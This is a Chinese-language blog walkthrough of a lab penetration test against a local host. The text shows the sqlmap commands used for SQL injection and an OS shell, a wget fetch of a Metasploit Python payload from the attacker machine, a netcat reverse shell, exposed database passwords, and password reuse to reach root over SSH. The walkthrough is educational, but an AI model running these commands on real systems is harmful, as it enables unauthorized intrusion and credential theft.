一次完整的模拟渗透

模拟一次略微完整的渗透测试

WEB环境:10.10.10.100

攻击:10.10.10.1

 

首先Namp -T5 10.10.10.100,一般做渗透测试的时候需要nmap 一下,查看一下服务器开放的端口。

Screenshot from 2014-06-21 22:03:29

 

上面看到80端口开放,我们打开网页,看到一个简单明了的欢迎信息,右边有三个链接——首页/注册/登录。我做的大多数网站的第一件事是检查robots.txt文件了(http://10.10.10.100/robots.txt)。在这个服务器上没有文件,我们继续寻找输入数据的地方,并与我们可以进一步测试的网页交互。

注册显示的5个字段,并快速抛出一个到每一个试图触发任何SQL注入缺陷。同样,这是一个快速传递,如果没有发现这些字段应该充分调查。表单似乎正确地处理我们的输入,并要求我们在所有字段上设置有效值。使用带有两个(明显)字段、电子邮件地址和密码的登录表单重复这些过程。这触发了一个繁琐的登录错误,它提供了关于正在发生的事情的大量数据——对于那些试图执行SQL注入的人来说,这是一个梦想。

 

这里是可以进行手注的,但是如果有更有效的工具,就不必多此一举进行手注,当然不排除练习。

因此,我通常会重点使用 sqlmap 作为我的首选工具。Burpsuite是进行拦截交互的数据包,两者结合起来做渗透测试的时候会很方便。

火狐浏览器的代理设置是启用的隧道连接通过Burpsuite,并拦截了。我们提交登录表单和捕获的要求,随后用Burpsuite”复制到文件“保存请求到我们的机器上的文本文件(我们叫它要求.txt)。我们看到变量“电子邮件”、“通行证”和“提交”都是通过POST请求传递的。我计划用 sqlmap 逐一检查这些漏洞。

Screenshot from 2014-06-21 22:16:09

运行命令如下:

 sqlmap -r /root/req.txt -p email

这意味着使用我们前面保存的头文件中定义的变量执行SQL注入检查,并检查电子邮件字段是否易受攻击。我们看到这个字段实际上是脆弱的,下面是截图显示的零请求,因为它保存了我第一次运行检查时的结果。

Screenshot from 2014-06-21 22:22:03

这里看到它是可注入的,注入点email。

执行命令Getshell:

sqlmap -r /root/req.txt -p email --os-shell

我们同意默认选项时,提示语言和目录尝试和使用我们的注入。这里可以选择默认路径,如果前提知道路径的话,当然更方便进行Getshell。

Screenshot from 2014-06-21 22:32:43

拿到shell后要尽可能的搜集对我们有利的信息,我们是可以找到更多关于系统的信息,从我们当前的目录开始,我们四处看看。由于我们正在处理登录应用程序,所以很有可能使用MySQL密码,所以我们首先要检查一下。

Screenshot from 2014-06-21 22:46:01

我们看到一个数据库连接使用的用户名'root'和'goodday'密码。看到了数据库的账号密码,我们想测试一下,可以看看里面有什么有趣的信息。

利用 msf 里面的payload进行反弹

Screenshot from 2014-06-21 22:52:38

我们快速创建一个shell并将其放置在攻击Web服务器中以便下载。
Screenshot from 2014-06-21 22:54:30

在这里,我们为mysql提供的操作系统shell执行以下命令。

wget http://10.10.10.1/shell.py -P /tmp/
chmod 777 /tmp/shell.py

此命令下载shell并将其放置到具有写入权限的TMP目录中。给它加权限,让它执行。

在攻击机建立一个netcat监听端口443,然后执行我们的 shell。正如我们看到的,我们获得了一个更合适的shell连接。

Screenshot from 2014-06-21 23:10:36

我们尝试使用以下命令登陆MySQL,以便查看更多的有用信息。

mysql -u root -pgoodday

看到报错了,ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

登陆不上去也没关系,进行了登陆限制,换个思路接着尝试渗透。

查看var目录,我们看到一些非常有趣的东西。

Screenshot from 2014-06-21 23:14:56

看到一些奇怪的吗?mysqli _ connect.php是这里了。关于它我们看到它的同样为其他在网站的根目录中的一个,但这有一个不同的密码,在那里面。

DEFINE ('DB_PASSWORD', 'root@ISIntS');

像这样的东西很奇怪,所以我们再次测试MySQL,看看它是否允许我们登录……是的,这是成功的,我们现在可以进行MySQL访问。

由于我们有一个确认的工作根密码(对于MySQL),在密码重用的情况下,尝试对其他服务使用相同的密码进行尝试登陆是很明智的。

我们试图通过信息登录ssh之上,结果...成功登陆......

Screenshot from 2014-06-21 23:21:14

至此拿到 root 权限,渗透到此为止。

 

 

上面需要注意的点有下面几个:

运行nmap的服务器上运行的服务来识别
枚举Web页面以检查它们的基本漏洞
使用burpsuite拦截标题和保存执行SQL注入
使用SQL Map执行SQLI注入和系统获得一个shell
使用Metasploit创建一个Python给我们更大的访问系统
使用wget在可写目录保存文件
使用netcat反弹连接我们的shell

 

 

本文链接(http://www.cnblogs.com/Oran9e/p/8094920.html),转载请注明。

任重而道远!

posted on 2017-12-24 00:00  Oran9e  阅读(769)  评论(0编辑  收藏  举报